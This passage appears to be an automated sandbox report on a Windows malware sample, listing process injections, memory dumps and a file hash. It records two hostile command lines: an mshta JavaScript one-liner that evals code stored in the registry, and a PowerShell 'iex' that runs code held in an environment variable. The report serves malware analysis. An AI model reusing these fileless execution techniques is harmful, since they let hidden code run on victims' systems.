PID 3792 wrote to memory of 940 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 3792 wrote to memory of 940 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 3792 wrote to memory of 940 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 3792 wrote to memory of 940 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 3792 wrote to memory of 940 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 3792 wrote to memory of 940 N/A C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe
PID 2548 wrote to memory of 5028 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2548 wrote to memory of 5028 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2548 wrote to memory of 5028 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a767ce43a2b5f7f48fd355f0e24d43d1_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:cCyK4UNXp="GOwpaWmVl";M4a=new%20ActiveXObject("WScript.Shell");BVoP4x1P="3iCIbAaI";CO0Xu=M4a.RegRead("HKLM\\software\\Wow6432Node\\lp0njQ\\7B4m34L");l6HKhrba="LZYocdB";eval(CO0Xu);kPa4Rh1ig="kxy7V";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:wtwfo

Network

Files

memory/940-3-0x0000000000400000-0x0000000000439000-memory.dmp

memory/940-7-0x0000000000400000-0x0000000000439000-memory.dmp

memory/940-8-0x0000000000400000-0x0000000000439000-memory.dmp

memory/940-9-0x0000000000A60000-0x0000000000B34000-memory.dmp

memory/940-13-0x0000000000A60000-0x0000000000B34000-memory.dmp

memory/940-12-0x0000000000A60000-0x0000000000B34000-memory.dmp

memory/940-11-0x0000000000A60000-0x0000000000B34000-memory.dmp

memory/940-10-0x0000000000A60000-0x0000000000B34000-memory.dmp

memory/940-14-0x0000000000A60000-0x0000000000B34000-memory.dmp

memory/940-15-0x0000000000A60000-0x0000000000B34000-memory.dmp

memory/5028-17-0x0000000005350000-0x0000000005386000-memory.dmp

memory/5028-18-0x00000000059D0000-0x0000000005FF8000-memory.dmp

memory/5028-19-0x0000000005960000-0x0000000005982000-memory.dmp

memory/5028-20-0x00000000060B0000-0x0000000006116000-memory.dmp

memory/5028-21-0x00000000061D0000-0x0000000006236000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_egio1c5f.fpe.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5028-31-0x0000000006240000-0x0000000006594000-memory.dmp

memory/5028-32-0x0000000006710000-0x000000000672E000-memory.dmp

memory/5028-33-0x0000000006750000-0x000000000679C000-memory.dmp

memory/5028-34-0x0000000007F40000-0x00000000085BA000-memory.dmp

memory/5028-35-0x0000000006C20000-0x0000000006C3A000-memory.dmp